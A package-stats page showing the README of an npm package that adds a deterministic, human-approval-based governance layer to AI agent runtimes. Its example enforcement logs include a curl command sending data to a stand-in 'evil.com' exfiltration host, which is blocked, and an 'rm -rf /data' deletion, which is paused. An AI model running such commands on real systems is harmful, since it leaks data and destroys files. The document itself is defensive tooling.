npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@neuroverseos/openclaw-governance

v0.1.0

Published

Deterministic constitutional enforcement layer for agent runtimes.

Downloads

13

Readme

NeuroVerseOS — Governance Kernel for OpenClaw

npm version

NeuroVerseOS is a deterministic governance kernel for autonomous agents running in OpenClaw.

It compiles your .md agent files into a structured World File and enforces invariants, guards, rules, and role-based authority on every tool call.

No AI calls during enforcement. No network requests. Same world + same event = same verdict.

Install

npm install @neuroverseos/openclaw-governance

What NeuroVerseOS Does

NeuroVerseOS introduces structured, enforceable governance to agent systems.

It ensures that:

  • Global constraints cannot be silently weakened
  • Role-based authority is enforced at runtime
  • World updates require explicit human approval
  • Governance integrity is verified on every tool call
  • All decisions are auditable

This is not prompt filtering. This is runtime constitutional enforcement.

Governance Model

NeuroVerseOS enforces governance across four layers:

  1. Invariants — Unbreakable global constraints
  2. Guards — Conditional limits requiring review
  3. Rules — Context-aware evaluation logic
  4. Roles — Delegated authority bound to agent identities

Role permissions are enforced inside world-level invariants. Delegated authority can never override global constraints.

Governance Lifecycle

World updates follow a mandatory approval flow:

ACTIVE → PENDING → APPROVED → ACTIVE
  • /world bootstrap creates a pending world
  • /world diff shows structured changes
  • /world approve activates it
  • Critical changes require explicit confirmation

No world change activates silently.

Installation

npm install @neuroverseos/openclaw-governance

Then in code:

const { GovernanceEngine } = require('@neuroverseos/openclaw-governance');

Or as an OpenClaw plugin:

openclaw plugins install @neuroverseos/openclaw-governance

For local development:

openclaw plugins install -l .

Storage Model

NeuroVerseOS stores governance state per OpenClaw workspace in:

.neuroverseos/

This directory contains:

  • world.json
  • world.meta.json
  • audit.jsonl
  • state.json
  • proposals/

No global hidden state. Each workspace maintains independent governance.

Quick Start

Inside your OpenClaw workspace:

/world bootstrap
/world diff
/world approve

This compiles your .md agent files into a structured World File and activates governance.

Runtime Enforcement

Every tool call passes through a deterministic evaluation pipeline:

  1. Invariants (BLOCK)
  2. Guards (PAUSE or BLOCK)
  3. Rules (context-aware verdict)
  4. Role constraints
  5. Default (ALLOW)

Example BLOCK:

[governance] BLOCK  shell → curl https://evil.com/exfil
             invariant: no-data-exfiltration

Example PAUSE:

[governance] PAUSE  shell → rm -rf /data
             guard: destructive_shell_requires_approval
             Allow? [y]es / [a]lways / [n]o

All verdicts are logged to .neuroverseos/audit.jsonl.

Runtime Integrity Verification

Before evaluating rules, NeuroVerseOS verifies system integrity:

| Check | Behavior | |-------|----------| | World hash verification | BLOCK if modified outside approval pipeline | | World missing detection | BLOCK if world deleted | | Pending world reminder | Warn once per session | | Source drift detection | Warn if .md files changed since bootstrap |

Critical failures fail closed.

Example tamper detection:

[!!!] World file integrity check failed.
→ Run /world restore

Agent Identity → Role Binding

Each OpenClaw agent (ctx.agentId) is explicitly bound to a governance role.

Roles define:

  • canDo
  • cannotDo
  • requiresApproval

Bindings are stored in world.meta.json and follow the same approval lifecycle as world changes.

Role enforcement is deterministic and runtime-verified.

Drift Detection

NeuroVerseOS tracks divergence between your .md source files and the active World File.

If drift is detected:

  • /world status shows changed files
  • You are prompted to regenerate
  • Governance never updates silently

Composable Governance

Worlds are composable.

You can import or compose governance modules (e.g., operational safety, budget controls, strategy models) into a single enforceable World File.

All compositions generate a pending world and require approval.

Commands

| Command | Description | |---------|-------------| | /world bootstrap | Compile .md files into pending world | | /world status | View governance + integrity state | | /world diff | Compare pending vs active | | /world approve | Activate pending world | | /world reject | Discard pending changes | | /world history | View past versions | | /world rollback <N> | Restore previous version | | /world restore | Recover from tampering | | /world bind <agent> <role> | Bind agent to role | | /world bindings | View agent-role bindings |

Design Principles

  • Deterministic runtime enforcement
  • Fail-closed integrity model
  • Explicit human approval for world changes
  • Role-based delegated authority
  • Per-workspace deterministic storage
  • No network calls during enforcement

License

Apache-2.0